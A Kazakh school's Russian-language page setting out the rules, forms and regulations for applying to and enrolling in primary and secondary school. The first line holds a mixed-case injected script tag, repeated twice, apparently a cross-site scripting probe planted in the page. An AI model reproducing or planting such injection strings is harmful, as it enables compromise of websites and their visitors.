<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

03.03.2018

Порядок оказания государственной услуги

 

1) Государственная услуга ««Прием документов и зачисление в организации образования, независимо от ведомственной

подчиненности, для обучения по общеобразовательным программам начального, основного среднего, общего среднего образования»» (далее – государственная услуга).

2)

Стандарт государственной услуги разработан Министерством образования и науки

Республики Казахстан.

3)

Государственная услуга предоставляется организациями начального, основного

среднего, общего среднего образования Республики Казахстан (далее –

услугодатель).

Государственная

услуга оказывается гражданам Республики Казахстан в возрасте от 6 (7) до 17

(18) лет (далее – услугополучатель).

4)

Срок оказания государственной услуги:

-

составляет 11 лет, в том числе:

-

4 года - для предоставления начального образования;

-

5 лет -  для предоставления основного среднего образования;

-

2 года - для предоставления общего среднего образования.

5)

Форма подачи заявлений для получения государственной услуги: бумажная и

электронная.

6) Результатом оказания государственной

услуги являются:

-

 освоение услугополучателем учебных программ начального образования,

-

выдача свидетельства об основном среднем образовании государственного образца,

заверенного печатью,

-

выдача аттестата общего среднего образования государственного образца,

заверенного печатью либо мотивированный ответ об отказе в

предоставлении государственной услуги.

7)

Государственная услуга оказывается бесплатно, за исключением частных

организаций образования. Стоимость обучения в частной организации определяется

организацией образования самостоятельно в рамках действующего законодательства.

8)

Государственная услуга оказывается ежедневно, за исключением  выходных,

праздничных и каникулярных дней в период с 8.00 до 20.00 часов.

Предварительная

запись и ускоренное оформление при приеме документов на предоставление

государственной услуги не предусмотрены.

9)

Для получения государственной  услуги услугополучатель представляет 

следующие документы услугодателю:

-

заявление от законных представителей  услугополучателя  (в

произвольной форме);

-

нотариально заверенную копию свидетельства о рождении (удостоверения личности)

услугополучателя;

-

справку о состоянии здоровья формы № 086 (медицинский паспорт);

-

справку с места  жительства или  иной  документ, подтверждающий

место проживания заявителя;

-

фотографии размером 3х4 см в количестве 2 штук.

Документы

услугополучателя сдаются ответственному лицу в канцелярию  организации

образования.

При

сдаче документов для получения государственной услуги услугополучателю выдается

расписка, согласно приложению 1 к настоящему стандарту.

на портале:

-

запрос в форме электронного документа от законных представителей 

услугополучателя (в произвольной форме), подписанный электронной цифровой

подписью услугополучателя;

-

нотариально заверенную копию свидетельства о рождении ребенка;

-

справку о состоянии здоровья формы № 086 (медицинский паспорт);

-

фотографии размером 3х4 см в количестве 2 штук

Копии

документов прикрепляются к электронному запросу.

Прием

 заявлений от  законных  представителей  услугополучателя,

поступающих в первый  класс, производится  с 1 июня по 30 августа

текущего года.

При

отказе в приеме документов услугодателем получателю государственной услуги

выдается расписка об отказе в приеме документов, согласно приложению 2 к

настоящему стандарту.

При

приеме в 1 класс экзамены и тестирование не проводятся.

Услугополучателю

государственной услуги, претендующему на получение государственной услуги по

приему и  зачислению в организацию образования, следует учитывать статус

организации образования, уровень образования в соответствии с выбранным

профилем обучения, а также территорию  обслуживания (микроучасток)

организации образования.

10)

Основанием для отказа услугополучателю в предоставлении государственной услуги

являются:

-

представление неполного пакета документов, предусмотренных  пунктом 6

настоящего стандарта;

-

выявление недостоверных или искаженных фактов (сведений) в документах;

-

несоответствие или отсутствие заявленного уровня образования в данной

организации образования;

-

несоответствие учебных показателей получателя государственной услуги статусу

выбранной организации образования;

-

несоответствие проживания на территории обслуживания данной организации

образования.

 

Порядок обжалования госуслуги

Разъяснение порядка обжалования решений, действий (бездействия) должностных

лиц услугодателя, а также оказание содействия в подготовке жалобы

осуществляются специалистами услугодателя, находящихся по адресам, указанным на

интернет ресурсе акимата Целиноградского 

района www.celin-akmol..kz в разделе

«государственные услуги», а также на интернет ресурсе акимата Акмолинской области в разделе

"Государственные услуги".

Информацию о порядке обжалования можно получить по телефону

информационно-справочной службы call-центра «электронного правительства» 1414,

8-800-080-7777 (звонок бесплатный).

В случаях несогласия с результатами оказанной государственной услуги либо

некорректного обслуживания, жалоба подается  по выбору услугополучателя:

на имя руководителя услугодателя или на имя акима соответствующей

административно-территориальной единицы или на портал egov.kz

В случаях несогласия с результатами оказанной государственной услуги, услугополучатель

имеет право обратиться в суд в установленном законодательством порядке.

Жалоба адресуется должностному лицу, в компетенцию которого входит

разрешение поставленных в жалобе вопросов.

В жалобе указываются фамилия, имя, отчество (при наличии в документе,

удостоверяющем личность), почтовый адрес услугополучателя, дата подачи жалобы и

подпись услугополучателя.

При подаче жалобы указываются должность, фамилии и инициалы должностных лиц,

чьи действия или бездействия обжалуются, мотивы обращения и требования.

При сдаче жалобы в канцелярию услугодателя, подтверждением принятия жалобы

является выдача услугополучателю государственной услуги, подавшему жалобу,

талона с указанием даты  и времени, фамилии и инициалов должностного лица,

принявшего жалобу. Информацию о ходе рассмотрения жалобы можно получить у

должностных лиц канцелярии соответствующего услугодателя.

При отправке жалобы через портал, информация о ходе рассмотрения жалобы

(отметка о доставке, регистрации, исполнении, результате рассмотрения) доступна

в «личном кабинете» услугополучателя.

Рассмотрение жалоб осуществляется в порядке и сроки, предусмотренные Законом

Республики Казахстан от 12 января 2007 года «О порядке рассмотрения обращений

физических и юридических лиц», с учетом особенностей, установленных в статье 25

Закона Республики Казахстан от 15 апреля 2013 года «О государственных услугах».

Дополнительную информацию о порядке обжалования оказания государственной

услуги можно получить в Отделе образования по телефону 8 (71651)31-206  либо по адресу а.Акмол, ул. Гагарина 15

    Приложение 1

к приказу

Министра образования

и науки

Республики Казахстан

от « 08 » апреля  2015 года

№ 179

Стандарт государственной услуги

«Прием документов и зачисление в организации

образования, независимо от ведомственной подчиненности, для обучения по

общеобразовательным программам начального, основного среднего, общего

среднего образования»

 

1. Общие положения

1. Государственная услуга «Прием документов и зачисление в организации образования, независимо от

ведомственной подчиненности, для обучения по общеобразовательным программам

начального, основного среднего, общего среднего образования» (далее – государственная услуга).

2. Стандарт государственной услуги разработан Министерством образования и науки Республики Казахстан (далее

– Министерство).

3. Государственная

услуга оказывается организациями начального, основного среднего и общего среднего образования (далее – услугодатели).

Прием заявления и выдача результата оказания государственной

услуги осуществляются  через:

1) канцелярию услугодателя;

2) веб-портал «электронного правительства»: www.egov.kz (далее – портал).

 

2.     

Порядок оказания государственной услуги

4. Сроки оказания

государственной услуги:

1) с момента сдачи пакета

документов услугодателю,

а также при обращении через портал –

пять рабочих дней для получения расписки;

для зачисления в организацию образования начального, основного

среднего, общего среднего образования:

на очную и вечернюю форму обучения  – не позднее 30 августа;

в первый класс – с 1 июня по

30 августа

2) максимально

допустимое время ожидания для сдачи пакета  документов–15 минут;

3) максимально допустимое время обслуживания – 15

минут.

    5. Форма оказания государственной услуги: электронная, бумажная.

6. Результат оказания

государственной услуги: расписка о приеме документов и приказ о зачислении в организацию начального, основного среднего, общего среднего образования на начало учебного

года.

Форма

предоставления результата оказания государственной услуги: электронная, бумажная.

При обращении к услугодателю за результатом оказания государственной

услуги  на бумажном носителе  результат оформляется на бумажном носителе.

При

обращении через портал в «личный кабинет» услугополучателя приходит уведомление

о зачислении в организацию образования в форме электронного документа,

подписанного электронной цифровой подписью 

(далее – ЭЦП)

уполномоченного лица услугодателя.

7. Государственная

услуга оказывается бесплатно физическим лицам (далее - услугополучатель).

8. График

работы:

1) услугодателя: с понедельника по пятницу включительно, за

исключением выходных и праздничных дней, согласно трудовому законодательству Республики Казахстан, в соответствии

с установленным графиком работы с 9.00 часов до

18.30 часов с перерывом на обед с 13.00 до 14.30 часов.

Прием заявления и выдача результата оказания государственной услуги

осуществляется с 9.00 до 18.30 часов с перерывом на обед с 13.00 до

14.30 часов.

Государственная

услуга оказывается в порядке очереди, без предварительной записи и ускоренного

обслуживания.

    2) Портала: круглосуточно, за

исключением технических перерывов в связи с проведением ремонтных работ.

При

обращении услугополучателя после окончания рабочего времени в выходные и

праздничные дни, согласно трудовому законодательству Республики Казахстан,

прием заявлений и выдача результатов оказания государственной услуги

осуществляется следующим рабочим днем.

         

9. Перечень документов, необходимых для оказания

государственной услуги при обращении услугополучателя (либо его законного представителя):

к услугодателю:

1) заявление согласно

приложению 1 к настоящему стандарту;

2) копия свидетельства о рождении услугополучателя, в случае рождения до 2008 года (документ, удостоверяющий личность услугополучателя

(оригинал требуется для идентификации личности);

3) врачебное профессионально-консультационное

заключение, форма № 086/у, утвержденное приказом исполняющего

обязанности Министра здравоохранения Республики Казахстан, зарегистрированное в

реестре государственной регистрации от 23 ноября 2010 года № 907«Об утверждении

форм первичной медицинской документации организаций здравоохранения» (далее - форма № 086/у).

4) фотографии размером 3х4 см в количестве 2 штук;

5) заключение

педагого-медико-психологической комиссии       

                   (при наличии).

Услугополучатели – иностранцы и лица без гражданства также

представляют один из следующих документов, определяющих их статус,                  с отметкой о регистрации по

месту проживания:

1) иностранец

– вид на жительство иностранца в Республике Казахстан;

2) лицо без

гражданства – удостоверение лица без гражданства;

3) беженец –

удостоверение беженца;

4) лицо,

ищущее убежище - свидетельство лица, ищущего убежище;

5) оралман –

удостоверение оралмана.

При сдаче документов для

оказания государственной услуги услугополучателю выдается расписка о

приеме документов у услугополучателя по

форме, согласно приложению 2 к настоящему стандарту

государственной услуги.

На

портал:

            1) заявление

одного из родителей (или

иных законных представителей)

услугополучателя в форме электронного документа, подписанного ЭЦП его

представителя, с указанием фактического места жительства услугополучателя;

2) электронная копия свидетельства о рождении услугополучателя, если дата его рождения

до 2008 года;

3) электронная копия врачебного профессионально-консультационного

заключение, форма № 086/е.

4) цифровая фотография услугополучателя размером 3х4 см;

5) электронная копия заключения

педагого-медико-психологической комиссии (при наличии).

Сведения о данных

документа, удостоверяющего личность

услугополучателя, свидетельства о рождении ребенка (если ребенок родился после

2008 года) получает из соответствующих государственных

информационных систем через шлюз «электронного правительства».

При обращении через портал услугополучателю в «личный кабинет» направляется

уведомление-отчет о принятии запроса для оказания государственной услуги в

форме электронного документа, удостоверенного ЭЦП.

 

3. Порядок обжалования решений, действий (бездействий)

местны исполнительных органов, города республиканского  значения и столицы, района (города областного

значения)  услугодателя и (или) его

должностных лиц  по вопросам  оказания государственных услуг

10. Для обжалования решений, действий (бездействий) услугодателя и

(или) его должностных лиц по вопросам оказания государственных услуг жалоба

подается в письменном виде:

1) на имя

руководителя соответствующего местного исполнительного органа, города республиканского значения

и столицы, района (города областного значения) по адресам, указанным в пункте 12;

2) на имя

руководителя услугодателя по адресам, указанным в интернет-ресурсах местных

исполнительных органов, города республиканского значения и столицы, района

(города областного значения) с указанием фамилии и инициалов лица, принявшего

жалобу, сроки и места получения ответа на поданную жалобу.

Жалоба услугополучателя по вопросам оказания государственной услуги, поступившая в

адрес местного исполнительного органа, города республиканского значения и

столицы, района (города областного значения), услугодателя, подлежит

рассмотрению в течение пяти рабочих дней со дня ее регистрации.

В случае несогласия с результатами оказания государственной

услуги,  услугополучатель может

обратиться в уполномоченный орган по оценке и контролю за качеством оказания

государственной услуги.

Жалоба услугополучателя, поступившая в адрес уполномоченного

органа  по оценке и контролю за качеством

оказания государственной услуг, подлежит рассмотрению в течение пятнадцати

рабочих дней со дня ее регистрации.

Информацию о порядке обжалования можно получить посредством единого

контакт-центра по вопросам оказания государственных услуг. 

В жалобе физического лица указываются его

фамилия, имя, отчество    (при наличии),

почтовый адрес.

11. В случаях несогласия с результатами оказанной государственной

услуги, услугополучатель имеет право обратиться в суд в установленном

законодательством Республики Казахстан порядке.

 

4. Иные требования с учетом особенностей оказания

государственной услуги, в том числе оказываемой в электронной форме

   12. Адреса услугодателей указываются: на интернет-ресурсах

Министерства (www.egov.kzв разделе «Государственные услуги»), местных исполнительных органов

города республиканского значения и столицы, района (города областного значения).

13. Услугополучатель имеет

возможность получения государственной услуги в электронной форме через портал при условии наличия ЭЦП

родителей (законных представителей).

14. Услугополучатель имеет возможность получения

информации о порядке и статусе оказания государственной услуги в режиме

удаленного доступа посредством единого контакт-центра по вопросам оказания

государственных услуг.

15. Контактные телефоны справочных служб услугодателя

по вопросам оказания государственной услуги размещены на интернет-ресурсе

Министерства: www.gov.kz., единого контакт-центра по вопросам оказания государственных услуг:

8-800-080-7777, 1414.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

                                       Приложение 1

                                                                    

к стандарту государственной услуги

  «Прием

документов и зачисление в               

организации

образования, независимо

от

ведомственной подчиненности,

для

обучения по общеобразовательным

программам

начального, основного

среднего, общего

среднего образования»

 

Форма

 

Руководителю

___ГУ « Средняя

школа № 9 Целиноградского района»__

Наименование

местного исполнительного органа

__________Нижник

Е.В.___/

Ф.И.О. (при наличии) полностью  /

от__________________________________

 

 

 

 

 

Заявление

 

Прошу зачислить моего сына/дочь (Ф.И.О.(при наличии) ребенка)____________________

____________________________________________________________________

 для обучения в_____ класс________________________________________________________

(полное наименование организации образования)

Проживающего

по адресу_______________________________________________________________

   (наименование населенного пункта, района,

города и области)

 

 

Согласен на использование сведений, составляющих охряняемую законом

тайну, содержащихся в информационных системах

 __________«__» ____ 20 __ г.

(подпись)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Расписка

 о

получении документов у услугополучателя

 

Организации

образования __________________________________________

(полное наименование организации образования)

___________________________________________________________

   (наименование населенного пункта, района,

города и области)

 

Расписка

  о приеме документов  № _________

 

Получены

от _____________________________ следующие документы:

(Ф.И.О.

(при наличии) услугополучателя)

1.

Заявление

2.

Другие _______________________________________________

           

_______________________________________________

______________________________________________

Дата приема

заявления______________________

_________________________________________

Ф.И.О.(при наличии) (ответственного лица, принявшего документы)                                              ________(подпись)  

Телефон __________

_________________________________

Получил: Ф.И.О.  (при наличии) / подпись услугополучателя

 

«___» _________ 20__ год

 

 

 

 

Расписка

 о

получении документов у услугополучателя

 

Организации

образования __________________________________________

(полное наименование организации образования)

___________________________________________________________

   (наименование населенного пункта, района,

города и области)

 

Расписка

  о приеме документов  № _________

 

Получены

от _____________________________ следующие документы:

(Ф.И.О.

(при наличии) услугополучателя)

1.

Заявление

2.

Другие _______________________________________________

           

_______________________________________________

______________________________________________

Дата приема

заявления______________________

_________________________________________

Ф.И.О.(при наличии) (ответственного лица, принявшего документы)                                              ________(подпись)  

Телефон __________

_________________________________

Получил: Ф.И.О.  (при наличии) / подпись услугополучателя

 

«___» _________ 20__ год

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Руководителю

___ГУ « Средняя

школа № 9 Целиноградского района»__

Наименование

местного исполнительного органа

__________Нижник

Е.В.___/

Ф.И.О. (при наличии) полностью  /

от__________________________________

 

 

 

 

 

Заявление

 

Прошу зачислить моего сына/дочь (Ф.И.О.(при наличии) ребенка)____________________

____________________________________________________________________

 для обучения в_____

класс________________________________________________________

(полное наименование организации образования)

Проживающего

по адресу_______________________________________________________________

   (наименование населенного пункта, района,

города и области)

 

 

Согласен на использование сведений, составляющих охряняемую законом

тайну, содержащихся в информационных системах

 __________«__» ____ 20 __ г.

(подпись)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

                                        

 

Директору СШ № 9

Нижник Е.В.

 

_______________________/

Ф.И.О. (при наличии) полностью  /

 

 

 

Заявление

 

Прошу зачислить моего сына/дочь (Ф.И.О.(при наличии) ребенка)____________________

____________________________________________________________________

 для обучения в_____

класс________________________________________________________

(полное наименование организации образования)

Проживающего

по адресу_______________________________________________________________

   (наименование населенного пункта, района,

города и области)

 

 

Согласен на использование сведений, составляющих охряняемую законом

тайну, содержащихся в информационных системах

 __________«__» ____ 20 __ г.

(подпись)

 

 

 

 

 

 

 

  Паспорт государственной услуги

«Прием документов и зачисление в

организации образования, независимо от ведомственной подчиненности, для

обучения по общеобразовательным программам начального, основного среднего,

общего среднего образования» 

1	Общие положения	Государственная услуга оказывается организациями начального, основного среднего, общего среднего образования Республики Казахстан (далее – услугодатели). Прием и выдача документов для оказания государственной услуги осуществляются  через: 1) канцелярию услугодателя; 2) веб-портал «электронного правительства»: www.edu.gov.kz (далее – портал).
2	Порядок оказания государственной услуги	Сроки оказания государственной услуги: 1) с момента сдачи пакета документов: для получения уведомления о зачислении в организацию образования при обращении через портал – в течение пяти рабочих дней; для зачисления в организацию образования начального, основного среднего, общего среднего образования: на очную и вечернюю форму обучения  – не позднее 30 августа; в первый класс  –  с 1 июня по 30 августа; 2) максимально допустимое время ожидания для сдачи пакета  документов услугополучателемуслугодателю – не более 15 минут; 3) максимально допустимое время обслуживания услугополучателяуслугодателем – не более 15 минут.
3	Форма оказания государственной услуги	электронная/бумажная
4	Результат оказания государственной услуги	приказ о зачислении в организацию начального, основного среднего, общего среднего образования. При обращении к услугодателю результат оказания государственной услуги оформляется на бумажном носителе. При обращении через портал в «личный кабинет» услугополучателя приходит уведомление о зачислении в организацию образования в форме электронного документа, подписанного электронной цифровой подписью  (далее – ЭЦП) уполномоченного лица услугодателя.
5	Стоимость услуги и порядок оплаты	Государственная услуга оказывается бесплатно
6	График работы	1) услугодателя: с понедельника по субботу включительно, за исключением выходных и праздничных дней, согласно трудовому законодательству Республики Казахстан, в соответствии с установленным графиком работы с 9.00 часов до 18.00 часов,  с перерывом на обед с 13.00 до 14.00 часов. Предварительная запись и ускоренное обслуживание не предусмотрены. 2) Портала: круглосуточно (за исключением технических перерывов в связи с проведением ремонтных работ).
7	Перечень необходимых документов	к услугодателю: 1) заявление от законных представителей  услугополучателя с указанием фактического места жительства услугополучателя  (в произвольной форме); 2) копия свидетельства о рождении услугополучателя (удостоверения личности услугополучателя) (оригинал представляется для сверки); 3) справка о состоянии здоровья формы № 086 (медицинский паспорт); 4) фотографии размером 3х4 см в количестве 2 штук; 5) заключение педагого-медико-психологической комиссии (при наличии). Услугополучатели– иностранцы и лица без гражданства также представляют один из следующих документов, определяющих их статус,                  с отметкой о регистрации по месту проживания: 1) иностранец – вид на жительство иностранца в Республике Казахстан; 2) лицо без гражданства – удостоверение лица без гражданства; 3) беженец – удостоверение беженца; 4) лицо, ищущее убежище, свидетельство лица, ищущего убежище; 5) оралман – удостоверение оралмана. При сдаче документов для оказания государственной услуги услугополучателю выдается расписка о приеме документов у услугополучателяпо форме, согласно приложению к настоящему стандарту государственной услуги,  с указанием: 1)              перечня сданных документов; 2)  фамилии,  имени,  отчества  (при наличии),  должности  сотрудника, принявшего документы, а также его контактных данных. На портал: 1) запрос одного из родителей (опекуна или попечителя) услугополучателя в форме электронного документа, подписанного ЭЦП его представителя, с указанием фактического места жительства услугополучателя; 2) индивидуальный идентификационный номер услугополучателя; 3) электронная копия свидетельства о рождении услугополучателя, если дата его рождениядо 2008 года (в случае подачи заявления опекуном/попечителем); 4) электронная копия справки о состоянии здоровья формы № 086 (медицинский паспорт); 5) цифровая фотография услугополучателяразмером 3х4 см; 6) электронная копия заключения педагого-медико-психологической комиссии (при наличии). Сведения о данных документа, удостоверяющего личность услугополучателя, копия свидетельства о рождении ребенка, если ребенок родился до 2008 года, данные актовой записи о рождении ребенка, данные актовой записи о заключении брака, сведения по статусам детей-сирот и детей, оставшихся без попечителей, являющиеся государственными электронными информационными ресурсами, работник услугодателя, получает из соответствующих государственных информационных систем в форме электронных данных, удостоверенных ЭЦП уполномоченных лиц государственных органов. При оказании государственной услуги услугополучатель дает письменное согласие на использование сведений, составляющих охраняемую законом тайну, содержащихся в информационных системах. Представителю услугополучателя в «личный кабинет» направляется уведомление-отчет о принятии запроса для оказания государственной услуги
8	Порядок обжалования	Для обжалования решений, действий (бездействий) услугодателя и (или) его должностных лиц по вопросам оказания государственных услуг жалоба подается в письменном виде: 1) на имя руководителя местного исполнительного органа, города республиканского значения и столицы, района (города областного значения) по адресам, указанным в интернет-ресурсе Министерства: www.edu.gov.kz; в разделе «Государственные услуги»; 2) на имя руководителя услугодателя по адресам, указанным в интернет-ресурсах местных исполнительных органов, города республиканского значения и столицы, района (города областного значения) с указанием фамилии и инициалов лица, принявшего жалобу, сроки и места получения ответа на поданную жалобу. Жалоба услугополучателя по вопросам оказания государственной услуги, поступившая в адрес местного исполнительного органа, города республиканского значения и столицы, района (города областного значения), услугодателя, подлежит рассмотрению в течение пяти рабочих дней со дня ее регистрации. В случае несогласия с результатами оказания государственной услуги,  услугополучатель может обратиться  в  уполномоченный орган  по оценке и контролю закачеством оказания государственной услуги. Жалоба услугополучателя, поступившая в адрес уполномоченного органа  по оценке и контролю за качеством оказания государственной услуги, подлежит рассмотрению в течение пятнадцати рабочих дней со дня ее регистрации. Информацию о порядке обжалования можно получить посредством единого контакт-центра по вопросам оказания государственных услуг.  В случаях несогласия с результатами оказанной государственной услуги, услугополучатель  имеет право обратиться в суд в установленном законодательством Республики Казахстан порядке.
9	Иные требования с учетом особенностейоказания государственной услуги, в том числе оказываемой в электронной форме	Услугополучатель имеет возможность получения государственной услуги в электронной форме через портал при условии наличия ЭЦП родителей (законных представителей). Услугополучатель имеет возможность получения информации о порядке и статусе оказания государственной услуги в режиме удаленного доступа посредством единого контакт-центра по вопросам оказания государственных услуг. Контактные телефоны справочных служб услугодателя по вопросам оказания государственной услуги размещены на интернет-ресурсе Министерства: www.edu.gov.kz., единого контакт-центра по вопросам оказания государственных услуг: 8-800-080-7777, 1414.

 

Утвержден

постановлением акимата

Акмолинской области

                                                                                    

от 15 июня 2015 года

№ А-6/275

 

 

Регламент

государственной услуги

«Прием документов и зачисление в организации

образования, независимо от ведомственной подчиненности для обучения по

общеобразовательным программам начального, основного среднего, общего

среднего образования»

 

1.    

Общие положения

 

1. Государственная услуга «Прием документов и зачисление в организации

образования, независимо от ведомственной подчиненности, для обучения по

общеобразовательным программам начального, основного среднего, общего среднего

образования» (далее – государственная услуга), оказывается организациями начального,

основного среднего, общего среднего образования Акмолинской области (далее  - услугодатель) через канцелярию

услугодателя, веб-портал «электронного правительства» www.e.gov.kz (далее – портал).

2.  Форма оказываемой государственной услуги: электронная, бумажная.

3. Результатом оказания  государственной услуги является расписка о

приеме документов и приказ о зачислении в

организацию начального, основного среднего, общего среднего образования на начало

учебного года.

Форма предоставления

результата оказания государственной услуги: электронная, бумажная.

 

 

2. Описание

порядка действий структурных подразделений (работников) услугодателя в процессе

оказания государственной услуги

 

4.      

Для получения государственной услуги услугополучатель представляет документы указанные в пункте 9 стандарта

государственной услуги «Прием документов и

зачисление в организации образования, независимо от ведомственной

подчиненности, для обучения по общеобразовательным программам начального,

основного среднего, общего среднего образования»

утвержденного

приказом Министра образования и науки Республики Казахстан от 8

апреля 2015 года № 179.

5. Содержание каждой процедуры (действия), входящей в состав процесса

оказания государственной услуги, длительность его выполнения:

1) канцелярия

услугодателя осуществляет прием документов, их регистрацию – 15 минут.

Результат – выдача расписки о приеме документов услугополучателю,

направление документов руководству;

2)      руководство услугодателя ознакамливается с

документами – 1 рабочий день. Результат – определение ответственного

исполнителя для исполнения;

3) ответственный

исполнитель осуществляет подготовку проекта приказа – 2 рабочих дня. Результат – направление проекта приказа

руководству;

4) руководство

услугодателя ознакамливается с проектом приказа – 1 рабочий день. Результат –

подписание приказа;

5) канцелярия услугодателя осуществляет

регистрацию приказа – 15 минут. Результат – расписка о приеме документов и приказ

о зачислении в организацию начального, основного

среднего, общего среднего образования.

Для зачисления в

организацию образования начального, основного среднего, общего среднего

образования:

1) на очную и вечернюю форму обучения  – не позднее 30 августа;

2) в первый класс  –  с 1 июня по 30 августа.

 

 

3. Описание порядка взаимодействия структурных

подразделений (работников) услугодателя в процессе оказания государственной

услуги

 

6. Перечень структурных

подразделений (работников) услугодателя, которые участвуют  в процессе оказания государственной

услуги:

1) канцелярия

услугодателя;

2) руководство

услугодателя;

3) ответственный

исполнитель.

7. Описание

последовательности процедур (действий) между структурными подразделениями

(работниками) с указанием длительности каждой процедуры (действия):

1)               

канцелярия

услугодателя осуществляет прием документов, их регистрацию – 15 минут;

2)      руководство услугодателя ознакамливается с

документами – 1 рабочий день;

3) ответственный

исполнитель осуществляет подготовку проекта приказа – 2 рабочих дня;

4) руководство

услугодателя ознакамливается с проектом приказа – 1 рабочий день;

5) канцелярия услугодателя осуществляет

регистрацию приказа – 15 минут.

 

 

 

 

4.  Описание

порядка использования информационных систем в процессе

оказания государственной услуги

 

8. Описание порядка обращения и последовательности

процедур (действий) услугодателя и услугополучателя при оказании

государственной услуги через Портал:

1) услугополучатель

осуществляет регистрацию на Портале с помощью своего регистрационного

свидетельства электронной цифровой подписи (далее-ЭЦП), которое хранится в интернет

- браузере компьютера услугополучателя (осуществляется для не зарегистрированных

услугополучателей на Портале);

2) процесс 1 –

прикрепление в интернет-браузер компьютера услугополучателя регистрационного

свидетельства ЭЦП, процесс ввода услугополучателем пароля (процесс авторизации)

на Портале для получения государственной услуги;

3) условие 1 –

проверка на Портале подлинности данных о зарегистрированном услугополучателе

через логин  индивидуального идентификационного номера (далее - ИИН) и пароль;

4) процесс 2 – формирование

Порталом сообщения об отказе в авторизации в связи с имеющимися нарушениями в

данных услугополучателя;

5) процесс 3 – выбор

услугополучателем услуги, указанной в настоящем Регламенте, вывод на экран

формы запроса для оказания услуги и заполнение услугополучателем формы (ввод

данных) с учетом ее структуры и форматных требований, прикреплением к форме

запроса необходимых документов в электронном виде;

6) процесс 4 – формирование

сообщения об отказе в запрашиваемой услуге в связи с не подтверждением

подлинности ЭЦП услугополучателя;

7) условие 2 – проверка на

Портале срока действия регистрационного свидетельства ЭЦП и отсутствия в списке

отозванных (аннулированных) регистрационных свидетельств, а также соответствия

идентификационных данных (между ИИН указанным в запросе, и ИИН указанным в

регистрационном свидетельстве ЭЦП);

8) процесс 5 – направление

электронного документа (запроса услугополучателя) удостоверенного

(подписанного) ЭЦП услугополучателя через шлюз «электронного правительства» (далее – ШЭП) в

автоматизированном рабочем месте региональный шлюз «электронного правительства»

(далее – АРМ РШЭП) для обработки запроса

услугодателем;

9) условие 3 – проверка

услугодателем соответствия приложенных услугополучателем документов, указанных

в Стандарте и основаниям для оказания услуги;

          10) процесс 6 - формирование сообщения об отказе в

запрашиваемой услуге в связи с имеющими нарушениями в документах услугополучателя;

11) процесс 7 – получение

услугополучателем результата услуги

(уведомление в форме электронного

документа) сформированный Порталом. Электронный документ формируется с

использованием ЭЦП уполномоченного лица услугодателя.

Диаграмма функционального взаимодействия информационных систем,

задействованных в оказании государственной услуги через Портал указана в приложении 1 к настоящему регламенту.

Подробное описание последовательности процедур (действий),

взаимодействий структурных подразделений (работников) услугодателя в процессе

оказания государственной услуги, а также описание порядка взаимодействия с

иными услугодателями и (или) центром обслуживания населения и порядка

использования информационных систем в процессе оказания государственной услуги

отражается в справочнике бизнес-процессов оказания государственной услуги

согласно приложения 2 к настоящему регламенту.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Приложение 1

к Регламенту

государственной услуги

«Прием

документов и зачисление в

организации

образования, независимо от    ведомственной

подчиненности, для обучения

по

общеобразовательным программам начального, основного среднего, общего среднего

образования»

 

 

Диаграмма

функционального взаимодействия информационных систем задейственных в оказании

государственной услуги через  Портал

Расшифровка

аббревиатур:

ИС Портал

– Информационная система  «портал  электронного правительства»;

ШЭП

– Шлюз «электронного правительства»;

АРМ РШЭП - автоматизированное

рабочее место региональный шлюз «электронного правительства; Расшифровка

аббревиатур:

ИС Портал

– Информационная система  «портал  электронного правительства»;

ШЭП

– Шлюз «электронного правительства»;

АРМ РШЭП - автоматизированное

рабочее место региональный шлюз «электронного правительства;  

 

*СФЕ - структурно - функциональная единица: взаимодействие

структурных подразделений (работников) услугодателя,, веб-портала «электронного

правительства».

  -  начало или завершение оказания

государственной услуги;

 

- наименование процедуры (действия) услугополучателя и (или) СФЕ;

 

 

- переход к следующей процедуре (действию).